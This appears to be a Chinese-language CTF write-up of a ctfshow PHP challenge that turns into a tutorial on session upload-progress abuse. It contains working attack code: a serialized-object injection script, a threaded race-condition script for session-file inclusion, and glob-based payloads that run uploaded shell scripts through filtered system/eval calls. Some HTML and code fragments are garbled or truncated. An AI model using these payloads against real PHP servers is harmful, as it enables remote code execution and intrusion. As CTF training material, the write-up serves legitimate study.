ctfshow 新手杯 剪刀石头布
这里我们可以发现服务器使用的处理器为php_serialize,与当前页面处理器不同,在反序列化的时候会造成一些问题。同时cleanup配置没开,关闭了session自动清理,所以我们不需要进行条件竞争。并且我们可以通过session上传进度来传递我们的反序列化串。再看我们主要用到的类。
如果session.auto_start=On ,则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
但session还有一个默认选项,session.use_strict_mode默认值为0。此时用户是可以自己定义Session ID的。比如,我们在Cookie里设置PHPSESSID=TGAO,PHP将会在服务器上创建一个文件:/tmp/sess_TGAO”。即使此时用户没有初始化Session,PHP也会自动初始化Session。 并产生一个键值,这个键值有ini.get("session.upload_progress.prefix")+由我们构造的session.upload_progress.name值组成,最后被写入sess_文件里。

1.在线运行得到报文
- html>
- <html>
- <body>
- <form action="http://793869b1-2080-446e-9066-25f43d926b25.challenge.ctf.show/" method="POST" enctype="multipart/form-data">
- <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
- <input type="file" name="file" />
- <input type="submit" />
- form>
- body>
- html>
2.接着上传文件,抓包改数据包,修改文件名为序列化串
- class Game{
- public $log;
- public function __construct(){
- $this->log = "/var/www/html/flag.php";
- }
- }
- $a=new Game();
- echo serialize($a);
- #|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}
- ?>
注意反序列化的字符串放在文件名字的位置,当作键值
或者用python 发包
- import requests
- url = 'http://d41097cd-f0aa-47e1-b486-4bd8ec57324a.challenge.ctf.show/'
- sessid = {
- 'PHPSESSID':'succ3'
- }
- data = {
- 'PHP_SESSION_UPLOAD_PROGRESS':'|O:4:"Game":1:{s:3:"log";s:22:"/var/www/html/flag.php";}'
- }
- file = {
- 'file':'1'
- }
- req = requests.post(url=url,files=file,data=data,cookies=sessid)
- print(req.text)
利用session.upload_progress进行文件包含和反序列化渗透
php_serialize: a:1:{s:5:"good";s:3:"good1";}
php: good|s:3:"good1";
PHP_SESSION_UPLOAD_PROGRESS进行文件包含 (详细步骤条件竞争)
1在php5.4之后php.ini开始有几个默认选项
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off
- > 我们可以利用session.upload_progress将木马写入session文件,然后包含这个session文件。不过前提是我们需要创建一个session文件,并且知道session文件的存放位置。因为session.use_strict_mode=off的关系,我们可以自定义sessionID
- > linux系统中session文件一般的默认存储位置为 /tmp 或 /var/lib/php/session
- > 例如我们在Cookie中设置了PHPSESSID=flag,php会在服务器上创建文件:/tmp/sess_flag,即使此时用户没有初始化session,php也会自动初始化Session。
- > 并产生一个键值,为prefix+name的值,最后被写入sess_文件里
- > 还有一个关键点就是session.upload_progress.cleanup默认是开启的,只要读取了post数据,就会清除进度信息,所以我们需要利用条件竞争来pass,写一个脚本来完
2.条件竞争包含SESSION文件
过滤了. 我们必须包含无后缀文件
利用session.upload_progress进行文件包含和反序列化渗透 php中唯一能控制的无后缀session
控制文件名字/tmp/sess_aaa
利用条件:
php的session文件的保存路径可以在phpinfo的session.save_path看到
在phpinfo里找到session文件存放的位置,或者猜一猜常见的位置:
/var/lib/php/sess_PHPSESSID
/var/lib/php/sess_PHPSESSID
/tmp/sess_PHPSESSID(最常见)
/tmp/sessions/sess_PHPSESSID

session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。通过控制cookie我们可以控制session_start时访问的session文件,从而对特定的文件内容进行序列化和反序列化。
- ');echo md5('1');?>"},
- files={"file": ('a.txt', f)},
- cookies={'PHPSESSID': sessid}
-
- )
- def READ(session):
- while True:
- response = session.get(f'{host}?file=/tmp/sess_{sessid}')
- # print(response.text)
- if 'c4ca4238a0b923820dcc509a6f75849b' not in response.text:
- print('[+++]retry')
- else:
- print(response.text)
- sys.exit(0)
-
- with requests.session() as session:
- t1 = threading.Thread(target=POST, args=(session, ))
- t1.daemon = True
- t1.start()
- READ(session)
3.包含临时文件
通过条件竞争。当我们找不到用于触发RCE的有效文件时,如果可以访问phpinfo(它可以告诉我们临时文件的随机生成的文件名及其位置)(且如果服务器后端的处理逻辑是先上传再检测,而不是先检测再上传),我们可能可以包含一个临时文件来利用它升级为RCE。
利用方式:p神 无字母数字webshell之提高篇 可以通过发送一个上传文件的POST包,只要是php接收到上传的POST请求(请求结束后会删除临时文件),就会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX,文件名最后6个字符是随机的大小写字母以及数字
例题源码 过滤了数字字母 没有过滤 . 通过system执行命令
-
- // 你们在炫技吗?
- if(isset($_GET['c'])){
- $c=$_GET['c'];
- if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\, $c)){
- system($c); //执行函数system可以直接用 . /tmp/xxxxxxxxx 运行文件
- }
- }else{
- highlight_file(__FILE__);
- }
(1)写一个post上传表单
- html>
- <html lang="en">
- <head>
- <meta charset="UTF-8">
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
- <title>POST数据包POCtitle>
- head>
- <body>
- <form action="http://99da1d95-7eb6-468a-b044-cf1b1b5b393d.challenge.ctf.show/" method="post" enctype="multipart/form-data">
-
- <label for="file">文件名:label>
- <input type="file" name="file" id="file"><br>
- <input type="submit" name="submit" value="提交">
- form>
- body>
- html>
(2) shell下可以利用.来执行任意脚本,shell程序必须以"#!/bin/sh"开始,#! /bin/sh 是指此脚本使用/bin/sh来解释执行,#!是特殊的表示符,其后面跟的是解释此脚本的shell的路径

- ?c=. /???/????????[@-[]
- 如果上传的是php文件,下面两句之间需要空行
- #!/bin/sh
- ls
(2) 如果执行函数为eval 则需要闭合php标签用?>= `. /tmp/xxxxxxxxx`来执行文件
?>用于闭合php的开头
-
- if(isset($_GET['cmd'])){
- $cmd=$_GET['cmd'];
- highlight_file(__FILE__);
- if(preg_match("/[A-Za-oq-z0-9$]+/",$cmd)){
-
- die("cerror");
- }
- if(preg_match("/\~|\!|\@|\#|\%|\^|\&|\*|\(|\)|\(|\)|\-|\_|\{|\}|\[|\]|\'|\"|\:|\,/",$cmd)){
- die("serror");
- }
- eval($cmd);
-
- }
-
- ?>
- POST /?cmd=?>=`.+/??p/p?p??????`; HTTP/1.1
- 由于过滤了[和@,没有过滤p,需要用字母p来锁定文件